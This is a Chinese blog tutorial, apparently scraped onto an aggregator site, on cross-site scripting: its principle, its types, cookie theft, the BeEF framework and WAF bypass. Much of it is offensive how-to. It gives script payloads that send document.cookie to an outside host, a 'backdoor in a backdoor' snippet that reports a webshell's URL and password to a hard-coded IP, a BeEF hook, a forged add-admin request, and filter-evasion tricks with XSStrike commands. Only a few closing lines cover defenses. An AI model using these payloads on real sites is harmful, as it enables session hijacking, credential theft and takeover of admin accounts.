XSS(跨站脚本攻击)原理详解(内含攻击实例)

Posted X也总

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS(跨站脚本攻击)原理详解(内含攻击实例)相关的知识,希望对你有一定的参考价值。

环境:

军锋真人cs野战123平台、xss平台(推荐自行搭建xss平台,不让别人白嫖咱自个的成果,蓝莲花战队的那个就挺好)、webshell箱子、postman、beef(kali上可能要自行下载,三行命令即可)、burpsuite、xsstrike【内含软件使用方法】

一、原理、危害、特点

原理:前端提交的一些参数转换为js代码,可以回显一些东西

跨站:例如你将一段攻击代码通过留言存储到对方服务器上时,对方管理员在浏览时就可能会执行你所写的攻击语句。

产生层面:前端

函数类:一般应用js里面的一些输出类函数

但是会受浏览器内核影响,一些浏览器会进行拦截

二、分类

反射型(非持续):攻击数据不会储存在对方服务器,类似于一次交互(后端语言进行处理)

存储型(持续):攻击数据储存在对方服务器,持续攻击,危害程度较大

DOM:攻击数据作为前端js函数参数去执行,不与后端进行交互(前端语言进行处理)【很容易发现,可以直接看前端源代码得到,可以作为反射性的一种】

三、常规攻击手法

XSS平台:可以用来构造一些payload语句,然后在该平台会显示你所要获得的信息

Beef

Cookie:用户凭据,可以用来证明身份信息,cookie和用户登录有关,存储在本地,小中型网站

想要通过xss获取cookie:

①:存在xss跨站漏洞

②:对方浏览器不拦截

③:对方有登录过

④:对方会触发

⑤:对方未过滤

Session:会话,存储在服务器存活时间短,常用做大型网站,金融等,会占用服务器资源但更安全

攻击手法:

首先搭建军锋真人cs野战123平台+xss平台注册账号

Ⅰ:通过在xss平台构造相应payload,在军锋平台进行xss攻击

后台管理查看订单触发攻击代码:

通过分析数据包:(有数据包发送到外部地址,携带一定数据)

Ⅱ:postman使用方法:(可以十分方便地修改一些字段等等)

Ⅲ:自己手动构造xss攻击代码

①:<script src='http://xqmo.fun/test.php?c='+document.cookie></script>

其中这里面的网址http://xqmo.fun/test.php?c=是自己任意构造的,但是要在相应位置设置接受你文件,

随后便可以将xss攻击代码注入相应位置,去获得相应cookie

②:<script src='http://xqmo.fun/hack.js></script>

然后在相应服务器端写好相应的hack.js文件,其中将所需要东西进行保存

Ⅳ:后门以及后门的后门(webshell箱子)

思路很简单:在后门里面加上一个后门,其中类似于在后门里面写上如下代码:

$password="admin";

$url=$_SERVER['HTTP_HOST']._SERVER['PHP_SELF'];

<script src='http://121.43.118.109/api.asp?url=$url&pass=$password'>

当然所发送的网站需要你自己取搭建webshell箱子环境,比较难受的是你有可能被反杀如果做的不好的话

(可以尝试网上的马)

Ⅴ:浏览器攻击框架beef     账号:beef  密码:123456

在kali上以管理员启动,直接输入beef-xss即可启动

构造xss攻击代码

<script src="http://192.168.136.128:3000/hook.js"></script>

通过将攻击代码发送在可能存在漏洞的地方后,就可以在beef里面获得相应的权限

Ⅵ:我的XSS平台(蓝莲花版)

首先通过构造xss攻击语句(只需要更改自己的website地址即可)

 紧接着就可以直接生成对应payload进行注入,

注入后,管理员进入后台,触发代码

随后我这边就接收到相应的信息

四、绕过

Httponly:开启过后,通过js脚本无法获得cookie信息,可以有效防止xss攻击

获取对方后台权限两种方式:

Httponly:则使得cookie不能获取

1:账号密码

浏览器

保存读取:可以通过xss平台构造payload获取浏览器保存的账号密码(需要配置一些东西),xss漏洞可能就是一般的存储型漏洞,留言板等

未保存读取:表单劫持(xss漏洞产生在登陆界面),同样是利用xss平台,需要将攻击语句写入到对应地方,或者自己构造一些东西。感觉挺鸡肋

2:cookie

代码过滤:xss过关平台可以学到一些绕过知识

referer:可以显示请求链接的来源地址,例如从www.xiaodi8.com点击其中一个模块,其所发送的数据包中就会显示referer:www.xiaodi8.com,有时候可以用其抵御xss跨站攻击

攻击手法:在自己博客首页构造payload:<script src="http://www.xiaodi8.com/addadmin.php?user=xd&pwd=123456"></script>

然后诱导小迪点击我的博客,随后如果其浏览器保持xiaodi8.com的后台登陆状态时,同时又没有检测来源时就会执行相应代码,然后就莫名被吃了西瓜

******同源策略******

waf绕过:

手工探针-xss(其实和那个xss里面的一些代码过去差不多)

单引号绕过

垃圾数据填充

特殊符号干扰("\\"符号的妙用(因为“\\”常用来表示一些结束</html>等)、加‘#’)

标签替换(就是onclick\\src\\script)

更改提交方式【post】【cookie】但是对方后台要能接受相应的数据

加解密提交,可与把对应的字母进行加密,但是网站本身能解密你所加密的东西

fuzz测试生成代码:

XSS Fuzzer    (在线根据生成一些可能能用的payload)

<img src='' οnerrοr=javascript:alert(1)>     ==>    <img /src=""/ οnerrοr='javascript:alert(1)'SADSAdadas@#>(这个可能就有点瞎搞的嫌疑,)

自动化工具绕waf(功能强大,检测规避waf、强大fuzz引擎、盲大xss支持……)xsstrike

(脚本在F盘)

python F:\\XSStrike\\xsstrike.py -u 欢迎来到level1

python F:\\XSStrike\\xsstrike.py -u 欢迎来到level1 --fuzzer

fuzz字典用burpsuit去跑里面的字典,进行模糊测试

一篇文章

[翻译]绕过XSS检测机制-外文翻译-看雪论坛-安全社区|安全招聘|bbs.pediy.com

安全修复方法:

开启httponly、输入过滤、输出过滤

java:开启xssfilter

php:开启一些过滤(一些特殊函数htmlentities())

码字不易,期待宝子的关注

以上是关于XSS(跨站脚本攻击)原理详解(内含攻击实例)的主要内容,如果未能解决你的问题,请参考以下文章

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

独家分享:跨站脚本攻击XSS详解

XSS攻击详解

XSS跨站脚本攻击详解(包括攻击方式和防御方式)